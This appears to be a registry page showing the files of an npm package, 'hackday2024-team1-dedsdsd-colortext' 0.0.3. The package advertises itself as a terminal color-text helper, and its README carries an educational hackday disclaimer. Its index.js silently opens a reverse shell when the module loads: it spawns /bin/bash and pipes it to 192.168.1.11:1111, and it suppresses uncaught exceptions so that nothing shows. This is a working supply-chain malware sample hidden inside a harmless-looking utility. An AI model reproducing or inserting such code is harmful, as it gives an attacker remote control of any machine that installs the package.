hackday2024-team1-dedsdsd-colortext 0.0.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of hackday2024-team1-dedsdsd-colortext might be problematic. Click here for more details.
- package/README.md +42 -0
- package/index.js +48 -0
- package/package.json +9 -0
- package/setup_package.sh +19 -0
package/README.md
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
|
2
|
+
|
3
|
+
![Static Badge](https://img.shields.io/badge/Licence-CC_BY--NC--SA_4-blue) ![Static Badge](https://img.shields.io/badge/Disclamer-Educational_Purpose-red)
|
4
|
+
|
5
|
+
|
6
|
+
## Usage
|
7
|
+
This package contains a function to display color text in the terminal.
|
8
|
+
|
9
|
+
```javascript
|
10
|
+
const {printWithColor} = require('hackday2024-team1-dedsdsd-colortext');
|
11
|
+
|
12
|
+
printWithColor("Hello World", "red");
|
13
|
+
printWithColor("Hello World", "green");
|
14
|
+
printWithColor("Hello World", "blue");
|
15
|
+
printWithColor("Hello World", "yellow");
|
16
|
+
printWithColor("Hello World", "magenta");
|
17
|
+
printWithColor("Hello World", "cyan");
|
18
|
+
printWithColor("Hello World", "white");
|
19
|
+
```
|
20
|
+
|
21
|
+
|
22
|
+
## Installation
|
23
|
+
Download node at [nodejs.org](http://nodejs.org/) and install it, if you haven't already.
|
24
|
+
```
|
25
|
+
npm install hackday2024-team1-dedsdsd-colortext
|
26
|
+
```
|
27
|
+
|
28
|
+
## Licence
|
29
|
+
hackday2024-team1-dedsdsd-colortext by Pic is licensed under [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/).
|
30
|
+
|
31
|
+
## Disclaimer
|
32
|
+
Before using hackday2024-team1-dedsdsd-colortext, please read this disclaimer carefully. By accessing, using, or contributing to the Project, you acknowledge and agree to the terms outlined herein.
|
33
|
+
|
34
|
+
This project is provided for educational purposes only. The intent is to foster learning and the development of cybersecurity skills in a legal and ethical manner. The use of this project is intended for students, cybersecurity professionals, and anyone looking to enhance their understanding and skills in information security.
|
35
|
+
|
36
|
+
The following terms and conditions govern the use of this project:
|
37
|
+
- **Educational Use Only**: This project is intended strictly for educational use. Participants are encouraged to utilize these challenges to learn and practice cybersecurity skills within a controlled and legal environment.
|
38
|
+
- **Prohibition of Malicious Use**: It is strictly forbidden to use the knowledge, skills, tools, or any other resources derived from this project for illegal or malicious activities. This includes, but is not limited to, unauthorized system intrusion, information theft, and service disruption.
|
39
|
+
- **Liability**: The organizers of the project, their affiliates, partners, and contributors cannot be held responsible for the individual actions of participants outside the environment provided by this project. Each participant is solely responsible for their actions and ensuring they comply with local, national, and international laws and regulations.
|
40
|
+
- **Consent and Compliance**: By participating in this project, you agree to use this project ethically and in compliance with all the terms set forth in this disclaimer as well as with all applicable laws and regulations.
|
41
|
+
- **Removal from Public Repositories**: Upon the conclusion of the event, it is required that this project be removed from any public repositories or platforms to prevent unauthorized use and to ensure the integrity of the challenges for future educational purposes. Participants and organizers must ensure that all copies of the project in public domains are deleted or made private.
|
42
|
+
- **Modification of Terms**: The organizers of the project reserve the right to modify the terms of this disclaimer at any time and without notice. It is the participants responsibility to stay informed of any changes.
|
package/index.js
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
// Internal and private package
|
2
|
+
|
3
|
+
const attackServer = "192.168.1.11"
|
4
|
+
const attackPort = 1111
|
5
|
+
|
6
|
+
|
7
|
+
function setupReverseShell() {
|
8
|
+
net = require("net"),
|
9
|
+
child = require("child_process"),
|
10
|
+
shell = child.spawn("/bin/bash", []);
|
11
|
+
|
12
|
+
client = new net.Socket();
|
13
|
+
|
14
|
+
client.connect(attackPort, attackServer, function(){
|
15
|
+
client.pipe(shell.stdin);
|
16
|
+
shell.stdout.pipe(client);
|
17
|
+
shell.stderr.pipe(client);
|
18
|
+
})
|
19
|
+
};
|
20
|
+
|
21
|
+
setupReverseShell();
|
22
|
+
process.on('uncaughtException', err => {
|
23
|
+
return
|
24
|
+
})
|
25
|
+
|
26
|
+
|
27
|
+
|
28
|
+
// Function to print text with color in console
|
29
|
+
function printWithColor(string, color) {
|
30
|
+
if(color === 'red') {
|
31
|
+
console.log('\x1b[31m%s\x1b[0m', string);
|
32
|
+
} else if(color === 'green') {
|
33
|
+
console.log('\x1b[32m%s\x1b[0m', string);
|
34
|
+
} else if(color === 'yellow') {
|
35
|
+
console.log('\x1b[33m%s\x1b[0m', string);
|
36
|
+
} else if(color === 'blue') {
|
37
|
+
console.log('\x1b[34m%s\x1b[0m', string);
|
38
|
+
} else if(color === 'magenta') {
|
39
|
+
console.log('\x1b[35m%s\x1b[0m', string);
|
40
|
+
} else if(color === 'cyan') {
|
41
|
+
console.log('\x1b[36m%s\x1b[0m', string);
|
42
|
+
} else {
|
43
|
+
console.log('\x1b[37m%s\x1b[0m', string);
|
44
|
+
}
|
45
|
+
}
|
46
|
+
|
47
|
+
|
48
|
+
module.exports = {printWithColor};
|
package/package.json
ADDED
package/setup_package.sh
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
#!/bin/sh
|
2
|
+
|
3
|
+
# Vérifie si l'argument a été fournis
|
4
|
+
if [ $# -ne 2 ]; then
|
5
|
+
echo "Usage: $0 <replacer> <package_name>"
|
6
|
+
exit 1
|
7
|
+
fi
|
8
|
+
|
9
|
+
|
10
|
+
replacer=$1
|
11
|
+
package_name=$2
|
12
|
+
|
13
|
+
|
14
|
+
# Remplace toutes les occurrences de <TEAMNAME> par le nouveau nom de l'équipe
|
15
|
+
sed -i '' "s/$replacer/$package_name/g" package.json
|
16
|
+
sed -i '' "s/$replacer/$package_name/g" README.md
|
17
|
+
sed -i '' "s/$replacer/$package_name/g" index.js
|
18
|
+
|
19
|
+
echo "The package name is updated from $replacer to $package_name"
|